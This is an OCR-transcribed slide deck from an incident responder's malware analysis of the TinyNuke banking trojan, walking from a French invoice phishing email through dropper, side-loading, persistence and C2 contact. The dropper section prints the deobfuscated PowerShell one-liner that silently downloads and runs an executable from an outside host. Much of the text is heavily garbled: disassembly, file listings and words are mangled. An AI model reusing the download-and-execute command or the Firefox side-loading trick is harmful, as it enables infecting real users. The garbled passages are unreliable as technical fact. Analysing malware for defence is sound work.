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DISSECTING A BANKING MALWARE
TINYNUKE

NHA-KHANH NGUYEN (@N1AKAN)
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WHOAMI

void main () {

char name[] = “Nha-Khanh Nguyen”;

char job[] = "Incident response handler*;
char team[] = "CERT — DFIR Team";

char company[] = "digital.security";

char hobby[] = “Newbie malware analyst”;

return O;

digital security
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// @N1aKan

// most of the time, doing forensics

// French 10T security company

// in my spare time
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LAB SETUP {sasic & simpie}

ol e
Torrified traffic

Host Analysis
VM
x  Tor x  |DA

% Traffic redirection % Sysinternals



LET’S START!
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TI NYNUKE { OR NUKEBOT OR NUCLEARBOT OR MICROBANKINGTROJAN OR XBOT }

X Malware type: Banking Trojan
X First sample identified: March 2017
% Analyzed sample: 466847a756baee0e75f462676ee07430 (25-Apr-17)

= Story of a French teenager who wants to sell its malware on the

Buvﬁmv F****INE darknet MAD

a |\ E INNY

‘ > = Pushing people to buy its super undetectable and multi-featured FRANCEU]
malware...

" Result 2 /ban from darknet forum (Reason: may be a scammer)

= “Nobody trust me? Finel”
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TI NYNUKE { OR NUKEBOT OR NUCLEARBOT OR MICROBANKINGTROJAN OR XBOT }

X Malware type: Banking Trojan
X First sample identified: March 2017
% Analyzed sample: 466847a756baee0e75f462676ee07430 (25-Apr-17)

TinyNuke First Second Second Last known
code leakage  attack wave attack wave attack wave attack wave
Mar-2017 Mar/Apr-2017 Sept/Oct-2017 Apr/May-2018 Jun/Jul-2018

| | |

“localhost” versions / Functional versions Buggy versions —
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FIRST CONTACT { THE DROPPER }

http://iluvmyhuman.com /facture.zip

De : Entreprise GUY [mailto:GUY@Email.ratemycolleges.org]
Envoyé : mercredi 25 awvril 2018 22:32
Objet : Votre facture du 25/04/2018

Madame, Monsieur,
Votre référence client : GOOASB2

Nous wous adressons cet e-mail afin de vous confirmer le paiement de 1a commande N°081837 du 25/04/2018 par chéque.
Vous retrouverez les informations sur wotre commande dans wotre facture disponible au téléchargement en cliguant ied.

Cette facture est disponible au téléchargement pendant 18 mois. Au-deld de ces 18 mois, son téléchargement ne sera plus possible.
Conformément a la réglementation, nous wous rappelons qu'il vous appartient de procéder a son archivage électronique dans vos propres systémes informatigques.

Une question 7 Une demande de retour 7 Notre service client vous répond par télephone du lundi au vendredi, de 9h & 19h au numéro indigqué dans 1'en-téte de votre facture.

Cordialement,
Service Comptabilite
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WHAT’S IN THIS FILE? { THE DROPPER }

@ Facture.zip = String the file!
" Q Bordereau.bmp 0O Kb
E Facture_20977498.doc 90,6 Kb

A bit heavy for a text file...



.TextBox2.Text
dRAne!OdRA! LCRQpxfsATLAfmLALmM! | #R(QpRAAXTSTLCRCFmmC ! #LLC#gvAAodALuUjpoRRR ! smpvCC)
AC=SpCLUACUACLpS?uRszCLL|)OCFLCX.PcARKCFfdLLU! TztAufnCAA/Ofu/LAXALCTcDLmjfCRORACU
fA)%CcbsC- ( (R&UNQLLC&JwLRnhuhAAChCv [ fyfAL( (*LR<=$fRRxLzeS$? ! LRTubCLAsu.(QsApdfttAL

JALRFyf(RAC(<sAfCuvsLRLo!2CAL~dAAbudLLi|sCRfuvsLLAO!L1~~!LC=$CmbCAZLCCFSCACS?RCY
BC:5/L3CC4/RR332/3CA10NLLAbzBgRSNRbz/CcARLjOR((<!jCCLg! )AL%bCLC! . FCACr!1*CAC! |sm

Function
NewDoc(

digital.securitg|

= A bunch of code appears!

Seems to be VB.net

Is this malicious?

econocorm
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WHAT’S IN THIS FILE? { THE DROPPER }

____________________________________________________________________

W Facture.zip = Siring the file!
e Q Bordereau.bmp O Kb =  Extract Word macro

E Facture_20977498.doc 90,6 Kb > Cleelmi gy '
| * OfficeMalScanner (only Wmdows)

* efc



OOOOOOO
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Tools (ViperMonkey, MS Script Editor...)

Replacing “execute()” by “MsgBox” or other

print func.

By hand...




DEOBFUSCATE IT!

. L W —

THE DROPPER

digital security
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OK... So let’s name the variables

So what is this function’s purpose...

= ...and here...WTF, why is it doing
that?!



1 HOUR LATER...

®
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DEOBFUSCATE IT! THE DROPPER

Hey, why just don’t print the
variables...?

= Oh... wait

FFFFFFF

FFFFFFF
L_\\ FFFFFF
FFFUU

uuuu

uuuu

uuuu

uuuu

Uuuu
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DEOBFUSCATE IT! { THE DROPPER }

H

powershell.exe -ExecutionPolicy Bypass -WindowStyle hidden -nologo -neoprofile
-c IEX(MNew-Object
YnMet. WebClient), DownloadFile( https://matertieka.com/DL/ setup.exe’, ' ThUsers),

Public\facture logistique.exe'); Start-Process ChUsers\Public\facture
logistique.exe

OK

[...].DowloadFile(‘https: / /matertieka.com /DL /facture.exe’,

'C:\Users\Public\facture logistique.exe’)
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SANDBOXING THE EXEC FILE

#Er< | 7Up\Desktop\facture logistigue.exe

Jum rd Debugc (

[=-®" = @M.

[0 v
var_18= dword ptr
ExceptionRecord= dword ptr
TargetFrame= dword pte

' . = Put the “facture logistique.exe” in your

; FUNCTION CHUMK AT ©08482CCC SIZE 60006168 BYTES
; FUNCTION CHUNMK AT @8482DF4 SIZE B00AOBA6 BYTES

FUHCTION CHUMK AT B8482DFC SIZE BOAABB36 BYTES fqvo ri‘I‘e debugger. .o
EIE?I e Stq t :;P FFFFFFFFFFFFFFFF

push R? FFFFFFFFFFFFFFFF
push R10 FFFFFFFFFFFFFFFF

Rl gz;‘j“ R11FFFFFFFFFFFEFFFF [ | thf if | run i‘l‘?

mou I ’fuar 10], R12 FFFFFFFFFFFFFFFF
moy [ +Uar:2h], R13 FFFFFFFFFFFFFFFF
call sub_4838DC R14 FFFFFFFFFFFFFFFF
call sub_uBuZES R15 FFFFFFFFFFFFFFFF
call sub_4B465h
call sub_4B4A7h
call sub_L4B6A18
call sub_L4893BY
call sub_4B89528
®or »
push ; TargetFrame
push offset loc_48B16% ; ExceptionRecord
push duord ptr fs:[eax]

s[eax],

offset loc_48B132
duord ptr fs:[
s[edx],
100003 (83,2501 (665, 237)| 00009EA1] 0000000000408RAL : stare+s| (Synchromized with 219i
=

w.jrsoftware. o [« | B018FFSC kernel32.dll:kernel32 Bas
rgfishelp/index.
php?topic=setupc
mdline..Setup. ntdll_Rt1Initi,
Q04 OAAYE UTJ3--SUN3+EEBE
_b.3--p5ij- -bEB
PAR- pU+--pPb- b
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SANDBOXING THE EXEC FILE

var_16= dword btr
ExceptionRecord= dword ptr
TargetFrame= dword pte

; . QOk... it crashed

; FUNCTIDN CHUNK
; FUNCTIOM CHUMK

; FUHGTIOH CHUHK ErrEu r

push

= reerer = Maybe anti-debug or anti-VM¢
[PUELD — ‘FFEFFFF

push |
48AAA1 Xor [FAAAAA?

nou | - i ‘FFFFFFF
mou Lol ENT COrrgampi .FFFFFFF
call | FFFFFFF
Eai} ‘FFFFFFF
ca

call
call
call
call
Ror
push
push
push

w.jrsoftware. o [« BO18FFSC kernel32.dll:kernel3d2 Bas
rgfishelp/index.
php?topic=setupc
mdline..Setup. ntdll_Rt1Initi,
UTJ3--SUN3+EEBE
_b.3--p5ij- -bEB
PAR- pU+--pPb- b




SANDBOXING THE EXEC FILE (e mstatier)

So... what can it be ¢

X Maybe anti-debugg techniques
% API calls (getCurrentProcess, NtQueryProcessinfo, isDebuggerPresent... )
% Flags (SINGLE_STEP exception, IsDebugged, NtGlobalFlag... )
% Breakpoints check (OxCC byte, DRO...DR4 debug register... )
% Rogue instructions (INT3, INT 2Dh... )
% Timing (GetTickCount, GetLocalTime... )

x Ete.

X Or any anti-VM technics... _\_(“J)_/_
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SANDBOXING THE EXEC FILE (e nstatier

Eﬂ_

= J facture logistique exe
=1l facture logistique tmp
i@, firefon exe
Q¥ procexp 64 exe
[F1:2¥ Procmon exe

B | Procmon 64 exe

< 0.01
31.81
5.21
3.01

15.01

2476 K
12 360 K
1456 K
13032 K
374K
32 256 K

4516 K
14172 K
5044 K
22 436 K
10 340 K
35640 K

3516 setup Setup
v1 Setup/Uninstall
4036 Firefox Ve
592 Sysintemals Process Explorer Sy
1056 Process Monitor Sy
2356

Tree of processes spawned before the

crash

Have to find a way to avoid to be

exited...



digital.securitg|

econocorm

BYPASS ANTI'DEBUG THE INSTALLER

XOr BCX, PCX

mou edx,

call sub_4B@Z277C

moy [ebp+Startuplnfo.cbh],

lea eax, IfEE+Pruc9551nFurmatiun
push el === IpProcess nﬁrﬁaﬁlﬁ‘

lea el [ebp+StartupInfo] I
push | eax | ; 1lpStartuplInfo

push lpCurrentDirectory l
push 1pEnvironment |
push duCreationFlags |
push bInheritHandles I
push 1pThreadattributes I
push 1pFrocessAttributes
mou eax, [ebp+var 4] l
call sub_483414 |
I
|
I
I

L I S B A I A O

L T T I R S ]

: fogistique tmp

push eax ; lpCommandLine

pus s=lpfApplicationHame
cal CreateProcessi

test gdan, ban
jnz short loc_489FBC

pax=debugfd?8 :aClsers/upAppd3

= Creating “facture logistique.exe”

sfupAppda db "C:yUsersi7UpiAppDatailLocaliyTempiis”
PPgdb ' -7782H.tmp\facture logistique.tmp™ ° prOCGSS
ldb ' /SL5="$4203a%,1759887 ,433664,C\Use"
db 'rsy\7UpiDesktopifacture logistique.e’
db ‘xe™ ',8

" Malware directory:

M A E .

= %APPDATAY\ Local\Temp \is-XXXXX\
loc_ 489FAC:
mouy eax, [ebp+ProcessIinformation.hThread]
push eax ; hobject

call CloseHandle_ @

T
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BYPASS ANTI-DEBUG

TRy | - AR Wi Laprasss w |

eCcx, BCX
edx,
sub_48277C
[ebp+Startuplnfo.cb],
eax, [ebp+ProcessInformation]
eax ; 1pProcessInformation
eax, [ebp+Startuplnfo]
eax : lpStartuplnfo
; lpCurrentDirectory
=1

» Stepping after CreateProcessA > error

. bInheritHandles = 4" argument: CreationFlags
; lpThreadattributes

: 1pProcessAttributes —> kind of creation mode for the process

eax, [ebp+var_ 4]
sub_ 4683414
eax ; lIpCommandLine
: lpApplicationHame
CreateProcessh
| eax eax |

short loc_ 489FAC

|Eax=ﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂ1

mou al,
call sub_489AE8
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BYPASS ANTI-DEBUG

Ty LT T EaT Enp e

eCcx, BCX

edx,

sub_48277C

[ebp+Startuplnfo.cb],
ebp+ProcessInformation]

; 1pProcessInformation = Value 0x00000004

bp+5tartuplnfo . .
’ : 1p51]ca,-tup1mcu The primary thread of the new process is

; lpCurrentDirectory
. ap

created in a suspended state, and does

not run until the ResumeThread function is
; bInheritHandles

- 1pThreadAttributes called.

; lpProcessAttributes

eax, [ebp+var_ 4]
sub_ 4683414
eax ; lIpCommandLine
: lpApplicationHame
CreateProcessh
| eax eax |

short loc_ 489FAC

|Eax=ﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂ1

mou al,
call sub_489AE8
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BYPASS ANTI-DEBUG

TRy | - AR Wi Laprasss w |

eCcx, BCX
edx,
sub_48277C
[ebp+Startuplnfo.cb],
ebp+ProcessInformation]
; 1pProcessInformation
bp+Startuplnfo]

: }EEE?:‘Eﬁper E@ dagbd exe D 20
i ‘ =1 _
Suspended
=¥ Proc: =
0| Procmon64 exe 0.63
X procexpbd exe 208

lpCommandLine
lpApplicationHame

CreateProcessA

short loc_ 489FAC

|Eax=ﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂ1

mou al,
call sub_489AE8
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FACTURE LOGISTIQUE.TMP [ATTACHED] { THE INSTALLER }

A% debugl0a

ﬁ debuglog

ﬁ debugl10

E Stack PAGE_GUARD[OQD...
2 Stack[00000734]

ﬁ debugl11

E facture_logistiqgue. tmp

£ ifacture_logistique. tmp
&5 facture_logistique. tmp
E facture_logistiqgue. tmp
48| facture_logistique. tmp
- facture_logistique. tmp

pubilic

Align
Q000000000 1C0000 0000000000 1C 1000 R W D byte Qooa public DATA 32 Qooa
Q000000000 209000 0000000000 20C000 R W D byte Q0o public DATA 32 Qa0a
Q00000000020C000 0000000000210000 R W D byte Qo000 public DATA 32 0aoo
Q0020000003 0A000 0000000000 30C000 W D byte Q00 public STACK 32 Qa0a
Q00Q00000030C000 0000000000310000 R W D byte Q0o public STACK 32 Qa0a
0000000000350000 0000000000 356000 R W D byte Qo000 public DATA 32 0aoo
Q00Q000000400000 000000000040 1000 R D byte Q00 public COMST 32 Qa0a

CODE o000

0000000000438000 0000000000450000 R W D byte 0000 public DATA 32 Q000
Q00Q0000Q0430000 Q00000000043EDQD Rw D byte Q0oa public DATA 32 Qooa
Q00Q00000043E000 000000000043F000 RwW D byte Q0oa public DATA 32 Qooa
000000000043F000 00000000004A0000 R W D byte Q000 public DATA 32 -

= Let’s now attach to “facture logistique.tmp” to
access it’s code

= Breakpoint again on the CreateProcessA (should
spawn firefox.exe)

= Runl

econocorm
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FACTURE LOGISTIQUE.TMP [ATTACHED] e nstaiter )

& B CreateFile
648 B Createfile
1648 B Createfile
1648 B CreateFile
1648 B Createfile
1648 B Createfile
1648 B Createfile
1648 B Createfile
1648 B CreateFile
1648 B Createfile
1648 B Createfile
1648 B Createfile
1648 B CreateFile
1648 B Createfile
1648 B CreateFile
1648 B Createfile
1648 B CreateFile
1648 B Createfile

g @cmateme

10N OO00O0O0DO0O0000000nn

“sers
Users
“sers
MUsers
"zers
“Users
"zers
“sers
“sers
"Wzers
"zers
"Wzers
Wsers!
“sers
Msers
"Wzers
"Wsers
“sers
"Wsers

TN A [ T | 5T

\/Up\AppDatatLocal\ Temp'is-9G8CN tmp'api-ms-win-crt-sting41-1-0.dI
\Up\AppDatatLocal\ Temp'is-9GECN tmp'api-ms-win-crt-string41-1-0.dI
\/Up\AppDatatLocal\ Temp'is-9G8CN tmp'api-ms-win-crt-sting41-1-0.dI
\Up'AppDatatLocal\ Temp'is-9GECN tmpfirefo exe

“Up'AppDatatLocal\ Temp'is-9GECN tmp'firefor exe

“/Up \AppDatatLocal. Temptis-9GECN tmpfirefoo exe

‘Up\AppDatatLocal Temp'is-9G8CN tmp'api-ms-win-coredibrandoaderd 1-1-0.dI
\Up\AppDatatLocal\ Temptis-9GECN tmp'api-ms-win-coredibrandoaderd 1-1-0.d
\Up'\AppDatatLocal Temp'is-9GECN tmp'\api-ms-win-coredibrandoaderd 1-1-0.dI
\/Up\AppDatatLocal Temp'is-9GECN tmp*api-ms-win-ct-math4 1-1-0.dll
\Up\AppDatatLocal Temp'is-9GECN tmp'\api-ms-win-crt-math4 1-1-0.dll
‘/Up\AppDataLocal\ Temp'is-3GECN tmp*api-ms-win-crt-math4 1-1-0.dll

W Up'\AppData‘Local' Tempis-9GECN tmp'api-ms-win-core-emorhandling41-1-0.c
‘/Up‘\AppDataLocal Temp'is-3G8CN tmp'api-ms-win-core-emorhandling41-1-0.c
\Up\AppDatatLocal\ Temp'is-9GECN tmp'api-ms-win-core-emorhandling41-1-0.c
‘Up\AppDataLocal Temp'is-9G8CN tmp'api-ms-win-core-synchd1-1-0.dl
\Up'\AppDatatLocal Temp'is-9G8CN tmp'api-ms-win-core-synchd1-1-0.dl
‘Up\AppDataLocal Temp'is-9G8CN tmp'\api-ms-win-core-synch41-1-0.dl
\Up'\AppDatatLocal Temp'is-9G8CN tmp'api-ms-win-core-synchd 1-2-0.dl

3 P ekl 1 14 =~

= Drops tons of Dlls and other files in the
is-xxxxx folder

= Ok! | just installed the malware!
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FACTURE LOGISTIQUE.TMP [ATTACHED] { THE INSTALLER }

Il = R = | R S U1 L= Y S R TR R 1
%) api-ms-win-crt-utility41-1-0.dl

lg bOtm3td.png
% | data.dll

|| dependentlibs. list
" firefox.exe

(3] mozglue. Description du fichier : Firefox

% | msvcp140[Entreprise : Mozilla Corporation
Version du fichier : 56.0.0.6478

msver 110{Date de création @ 19/09/2018 14:39
Taille : 518 Ko

ucrthase. dm

& [8

&y weruntime 140, dll

[&

LI L FE LS UL
05/10/2017 07:44
03/04/2018 09:29
08/04/2018 17:11
14/10/2017 19:04
05/10/2017 07:44
05/10/2017 07:44
05/10/2017 07:44
06/11/2012 11:20
05/10/2017 07:44
05/10/2017 07:44

Cren

Extensic
Image PI
Extensio
Fichier L
Applicat
Extensio
Extensio
Extensio
Extensio

Exter-

= Drops a picture (each variants has its
own custom picture !)
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FACTURE LOGISTIQUE.TMP [ATTACHED] THE INSTALLER

Il = R = | R S U1 L= Y S R TR R 1 [P B 1 I O DN I W ey o 5 CHu
N

& api-ms-win-crt-u ﬁlitﬁl 11-1-0.r" tl COIi
— O

B bOtn3t'd.png
%) data.dl

7 4

§
M Jre (each variants has its

o .
dicture |)

Og, {
i /
tro, f
e,
" /

BOTNETED|

GILBERT
A L'AIDE! £

|| dependentlibs. list
@ firefox.exe

o 1
B (it Description du fic

| mevcp 140 Entreprise : Mozi
Version du fichier
= msver110Date de création

Taille : 513 Ko
%) ucrtbase. tm

%) woruntime 140.dll
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FACTURE LOGISTIQUE.TMP [ATTACHED] { THE INSTALLER }

Il = R = | R S U1 L= Y S R TR R 1
%) api-ms-win-crt-utility41-1-0.dl
|Rs| bOtn3t'd. png

% | data.dll

|| dependentlibs. list

‘.' firefox.exe

(3] mozglue. Description du fichier : Firefox

% | msvcp140[Entreprise : Mozilla Corporation
Version du fichier : 56.0.0.6478

msver 110{Date de création @ 19/09/2018 14:39
Taille : 518 Ko

ucrthase. dm

& 6

LI L FE LS UL
05/10/2017 07:44
03/04/2018 09:29
08/04/2018 17:11
14/10/2017 19:04
05/10/2017 07:44
05/10/2017 07:44
05/10/2017 07:44
06/11/2012 11:20
05/10/2017 07:44

&y weruntime 140, dll

[&

05/10/2017 07:44

Cren

Extensic
Image PI
Extensio
Fichier L
Applicat
Extensio
Extensio
Extensio
Extensio

Exter-

= Drops a picture (each variants has its
own custom picture !)

= And a legitimate old version of
firefox.exe...?
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FACTURE LOGISTIQUE.TMP [ATTACHED]

kernel3? CreateProcessA:
mow edi, edi
push ebp

Eﬂ:n ebp, esp = Back to our CreateProcess,

push dword ptr [ebp+ ; facture_logistique.tmp 1
push dword ptr [ebp+ ; Boopoauy where we breok equler
push : Coxlsersh7lUphsAppDatailoc

push _ dword ptr [ebp+iCh] ; 04000000 = Let’s spawn the firefox.exe
1 e LN L]

kernel3?._dl11:7610810688 dword ptr [ebp+ | | pI’OCGSS!
dword ptr [ebp+ ; B
dword ptr [ebp+ : C:/fUserss
dword ptr [ebp+
kernel32.dll:76181897 1]
near ptr Kerneld2 CreateProcessInternalA
ebp




FACTURE LOGISTIQUE.TMP [ATTACHED]

kernel3? CreateProcessA:

mo - p

J Et} dagb4 exe 0.12

L}

[ ] E J-E_--\_ :-\_T.E':E

(] - _ 3

- E._. QISTIquUE:

[ ]

[ ]

. O idacbd exe 0.38

. i i procexpbd exe 0.43

* kernel3?.d11:76181088E p il Ol

. []{:? OCMOn .eX

L ' Fa

- p  Froramiorihd = '
nush dword ptr [ebp+

ll:erneld? _d11:76101097 1}

: call near ptr Kerneld2? CreateProcessInternalA

pop ebp

50 512 K
2476 K
12316 K

44632 K
13032 K
3704 K

3 [

digital.securitg|

74 5638 K
4004 K
14 064 K

57 380 K
22 764 K
10 M0 K
M MK

-
-

10

27l ¢

16

ih the firefox.exe

-
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FIREFOX.EXE [ATTACHED]

CGuenyMamelnfo.. CAUsersh T Up AppData’ Local Tempis-6| TES tmp*api-ms -crt-.
Kernel32 .d11:76104977 _reateFile - Usersh7Up ' AppDatatLocal’ Temp*is-6l 7ES tmp“api-ms-win-crtwu
kernel3? LoadlLibraryf proc near Thread Exit

é-
E
ﬁl
-
ﬁl
: o amre’ 7] mt A Data'Local Temo is-A -
hserst UnAop Uatahlocalt | emptis-b )
g #= dword ptr
- - - \ - — P —
arg_B= dword ptr ——— e 7L Ann Dtz oealh Tamn £l TER tmn'densndentihs lis
el Nt e L e o - P L v § — e e L — ot ol " | = d e | | = G L L = L i e
-
I — — - - - — e ——
He=dFila e o P T A T CF o S T
- ot e ot ot [ L) B § — - R L L e =L " | = ded | | = (LI L = L i ol
-
I — — - - - — e ——
HeadFile S nAnnolUatasl ocs B0 s- ER denenderntlins liz
- ot e ot ot ad ] — - R L L e =L " | = et | | = (LI L = L e ol
-
I - - - - - — e ——
1 1 reateile o E o Annl lats NC S B is- | Aata o
edli, edl =Py TE T = — SES Jp W nppLigla sLoCT HIIERE: | P adgla.d
-
I — — - - , - — e ——
eh HeadFile S sonlatas ) ocs B0 s- ER data o
- ot e ot ot ad ] | = L =l S S AL L e =L " | = et | | = L LU LI
-
ebp, esp =% Fe=adFile - SEE 7 don DataLocal Tempis-&| 7ER data .d
- ot e ot ot ad ] | = L =l S S AL L e =L " | = et ' | | = T L L -
Eh +3r ﬂ [ — — — — - — — —
o Fe=dFila = Y o — i e TR S
- A ot e ot ot [ L) B § | = L =l S S AL L e =L " | = ded ' | | = T L L -
ebx - - - - .- - e

esi

edi

short loc_7618499C
offset aTwain_32 dl1
[ebp+arg_H]

near ptr unk_7610849C2 and...
eCX

eCX

Loads loooots of libraries

= ... Dependentlibs.liste



FIREFOX.EXE [ATTACHED] (e nstatier

_#| api-ms-win-crtruntime-1-1-0. digwe :
H C:\Users\7Up\AppData\Local\Temp\is-6I7E5.tmp\depen... - [O [*

Fichier Edition Recherche Affichage Encodage Langage Paramétres
%) api-ms-win-crt-string-1-1-0.dll | iR NPt St Compléments Documents ?

%) api-ms-win-crt-time-1-1-0.dl n: ' | n % s | + | =) e | £ -. | e >
%] api-ms-win-crt-utility41-1-0.dl E—‘H

B/ botn3t'd.png

%) data.dl

. dependentlibs. list
@ firefox.exe

|%| mozglue.dll

|%| api-ms-win-crt-stdio-1-1-0.dl

%] msvcp140.dl Ln:1 Col:9

2 msver110.dll 06112012 11:20 Extension de I'applic... 855 Ko

1 m e — ' o

digital security

econocorm

Old versions of Firefox load
the dependentlibs.list file

This file contains any library
you want...

Vulnerability used: lack of
integrity check

Now we have our payload!
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DATA.DLL
B cripiooe.

loc 188815EF:
push edi
push esi = Break on accessing

push ebx
data.d11:180815F2 data.dll

[ebp- ], eax
esi, .
chort loc 18861623 " Creation of a thread
eax, eax
short loc_188681623 . . .
edi " Let’s dive into it
Bedx
ebx




r
1
1
1
1
1
r
1
1
|

DATA.DLL

loc_18681830:

push edi

push esi

push ebp

push ebx

sub esp,

push offset akKernel32 dll @

offset aGetthreaduilanguage

GetProcAdress
ebp, eax

_rgge1a7y
large dword ptr ds:z@,

loc_18881874:

: CODE XREF: data.d

digital security

econocorm

Checking system and
keyboard language

Would continue if result is

“OC”

“OC” is code for... French

language!




UNPACK

offset afs
DecipherStrings
esp,

dword D17DSC, eax

offset aEsfepnsusaqbsa
offset unk_DHD4BE
DecipherStrings

esp,

dword D17D6B, eax

offset aCq34b9eeig@3icsict Mk 1
offset unk_DBDADC M.%.C2. .GetWindo
Decipherstrings wsDirectoryn 2k
esp, UAAAA
dword_D17D64, eax SEEREL | - -
M.%.32. _WideChar
offset aSgehi72rxhsunripaj ToMultiByte Xk
offset unk_DOD5 A4 SN
DecipherStrings

= Decipher itself into the memory " Maijor part of malwares are packed
—> obfuscation, sizing issues...
" Hardcoded XOR key for each strings
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PERSISTENCE

F255873EA43BB8ER

uar:ﬂ= dword ptr
var_ 1= byte ptr
arg_ B= dword ptr

push ebp

mov ebp, esp

sub esp,

mov [ebptvar B], ecx
mou [ebp+var_ 1],
push

push

= To survive reboot, malware often deploy persistence

= Tiny nuke does basic persistence:
= Creation of a folder

ecx, [ebp+var_ 8]
[ecx+4], eax

eax, [ebp+var B8]
dword ptr [eax+i],
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PERSISTENCE THE LOADER

)+ Utlisateurs = 7Up ~ AppData - Roaming -~ F255073EA43003EE -

Partager avec *  Mouveau dossier

|%| api-ms-win-core-sysinfo-41-1-0.dl 05/10/2017 07:44 Extensiol

|%| api-ms-win-core-timezone 1-1-0.dll 05/10/2017 07:44 Extensiol

|%| api-ms-win-core-utilH1-1-0.dl 05/10/2017 07:44 Extensiol

|%| api-ms-win-crt-conio- 1-1-0.4ll 05/10/2017 07:44 Extensiol

|%| api-ms-win-crt-convert41-1-0.dl 05/10/2017 07:44 Extensiol

|%| api-ms-win-crt-environment41-1-0.dll 05/10/2017 07:44 Extensio " To survive reboo'r, malware often deploy perSiSTence
|%| api-ms-win-crt-filesystem-1-1-0.dll 05/10/2017 07:44 Extensiol

%] api-ms-win-crt-heap-1-1-0.dll 05/10/2017 07:44 Extensiol | Tmy nuke does basic pe rsistence:

|%| api-ms-win-crtdocale41-1-0.dll 05/10/2017 07:44 Extensio » Creation of a folder

|%| api-ms-win-crt-math4 1-1-0.4dl 05/10/2017 07:44 Extensiol - Dropping ngin e (o

|%| api-ms-win-crt-multibyte- 1-1-0.dl 05/10/2017 07:44 Extensior . .

|%| api-ms-win-crt-private41-1-0.dll 05/10/2017 07:44 Extensic (OI d vulnerable firefox.exe includ ed)

| api-ms-win-crt-process-1-1-0.dll 05/10/2017 07:44 Exter
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PERSISTENCE

LoopAlaCon

esp,

eax, [ebp+var_184]
eax

E F255073EA43003EB 05,/10/2018 00:02 Raccourc
GetFolderPath
dword _D1757C
eax, [ebp+uvar_184] . .
eax = To survive reboot, malware often deploy persistence
1strCat
offset aF255873ealiddddeb
eax, [ebp+var_104] . . .
eax = Tiny nuke does basic persistence:
= Creation of a folder
ed ean, Leopruar.in . .. .
push  eax " Dropping again its files
call  lstrCat . .
nou [ebp+uar_268], (old vulnerable firefox.exe included)
push
push
lea eax, [ebp+var_287] . . . .
push  eax = Creation of a .Ink file for firefox.exe in the startup

call LoopAlaCon

folder
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CREATING MUTEX

l:l E'S , . i o » Error Handling Functions ERROR_INVALID_ORDINAL
.
push » Error Handling Macros
. lea e e J 182 (0xB6)
L push Bax > Error Handling Structures
“ push v System Error Codes The operating system cannot run %1.
* call GetHoduleFileName : o,
. push  offset aF255073eas3008eb ERROR_ALREADY_EXISTS
. push System Error Codes
push (500-999) 183 (0xB7)
o call CreateMutex System Error Codes
. L B S RIS 2:;1 222[25225501" eax (1000-1299) Cannot create a file when that file already exists.
E nz Short l1oc DB5D8Y4
call GetPID . . .
. push  eax = Mutex: avoid a machine to get re-infected
: call WrapperExit

pop ecx
= |f the mutex has already been created, exit

loc_DASDEL:

mou byte ptr [ebp- 1,
push

push

lea eax, [ebp-
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SPAWNING FIREFOX.EXE AGAIN !

[ebp+war_5C],
dwvord_ DA7FDY
Releaebutex

dword DI17FDY4
CloseHandle

eax, [ebp+var_18]

C:vUsersh7Up\App
Data‘vRoaming4F25

CA73EA43AABEBNFi
refox.exe

lea eax, [ebp+var_368] " Rings a bell?

nush eax
AAAAAAAAAAD BH1DA createProcess| N

LT edi = And what process is going to spawn now?

retn
sub_DB6ASC endp

= Firefox.exe! ...what, again?!



-
-

FIREFOX.EXE AGAIN... AND THEN AGAIN

data.dll:188815F2

loc_188815EF:

push
push
push

mov
cmp
jnz
test
jnz
push
h
ush
all
us
u
push
call
mov
test
jz
push
push
push
call

edi
esi
ebx

[ebp- 1, eax
esi,
short loc_18881623
eax, eax
short loc_ 18681623
edi

ax

S

nc_Cre

o
ebx

sub_18686813B2

eax, dword_188891B4
eax, eax

short loc_ 18681623
edi

ebx
eax dword 100891B4

loc_16881623: nov

push
push

offset aTnpd8r
offset a%_1
DecipherStrings
esp,
dword_D17D58, eax

offset a7jh8
offset aQs
DecipherStrings
esp,
dword_D17D5C, eax

offset aCq34bPeeigB31csict
offset unk_DOD4DC
DecipherStrings

esp,

dword_D17D64, eax

offset aSgehi72rxhsunripaj
offset unk_DOD5 a4
DecipherStrings

BCh
dword_D17D68, eax

offset a¥YdhiZajgnvug

digital.securitg|

LoopAlaCon

esp,

eax, [ebp+var_184]
eax

GetFolderPath
dword_D1757C

[ ar AnL ]
e
1s t

5

eax, [ebp+uar 184]
eax

1strCat

offset a_lnk

eax, [ebp+var_184]
eax

1strCat
[ebp+uwar_288],

eax, [ebp+var_287]
eax
LoopAlaCon

econocorm




digital.securitg|

econocorm

DLLHOST.EXE { e pavLOAD

b Alinact exe = Finally, create Dllhost.exe
lea eax, [ebp+var_15C]

push eax

call strcat

and [ebp+var_G8], =

e Push the string

push

1lea eax, [ebp+var_54]

push eax

[call  sub 615CD9 | H

el b §15007 Call Winlnet APIs
and [ebp+var_14],

®xOF eax, eax

1lea edi, [ebp+var_18]

stosd

stosd Create the process
stosd

mov [ebp+var_G8],

push dword 627FDY

call ReleaseMutex

push dword 627FDY

call closeHandle °

lea eax, [ebp+uar_14] Wlnlnet? MGYbe we cdn gei‘ the
push eax . . .

lea  eax, [ebpsvar_S8] configuration file here!
push eax

push

push

push

push

push

push

push

lea eax, [ebp+war_ 15C]

[) 1

push

push [ebp+var_14]
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CHECKING SYSTEM VERSION (e Loape

rep stosd
stosu

stosh o
onp ebp+arg 4], " Check OS version
BBABABABERG14F 9,

32 bits

lall s =

= - to download the
B o dR, LeDptlar_ 38] ! i
push  cox
call 1strcopy : Fan, |copTodr_
jmp short loc_614FB8 eax
1strcopy

corresponding configuration file

Lol et =]

loc_614FB8:

push

push

lea eax, [ebp+var_8]
push eax

lea eax, [ebp+var_30]
push eax

call InternetWrapper
add esp,

mnu Iehn+var 1. paw
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CONNECTING TO THE C2 THE LOADER
diiu LEUp+udr_a],
push
push
et
= Finally! It Initiates the connection to
L R the C2
jnz short loc_DB43aCc
= C2’s URL has been unpacked into

the memory before
loc DA43IAC:

push

push

push

push

push

mouv eax, [ebp+arg_#a]
mouzx eax, word ptr [eax+8]
push eax

mou eax, [ebp+arg_#8]
push dwvord ptr [eax+ 1
push ehp+uar C

mou ebptuvar_ 8|, eax
cCmp [ebp+uar_ B8],

jnz short loc DO4340




GETTING THE CONFIGURATION THE LOADER

InternetSetOption
HttpOpenRequest

HttpOpenRequest

HitpAddRequestHeader

HttpSendRequest

HitpQuerylinfo

digital security

econocorm

= Typically a connection
scheme:

1. Crafting the request
2. Adding it to the header
3. Sending it

4. Getting the information
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GETTING THE CONFIGURATION

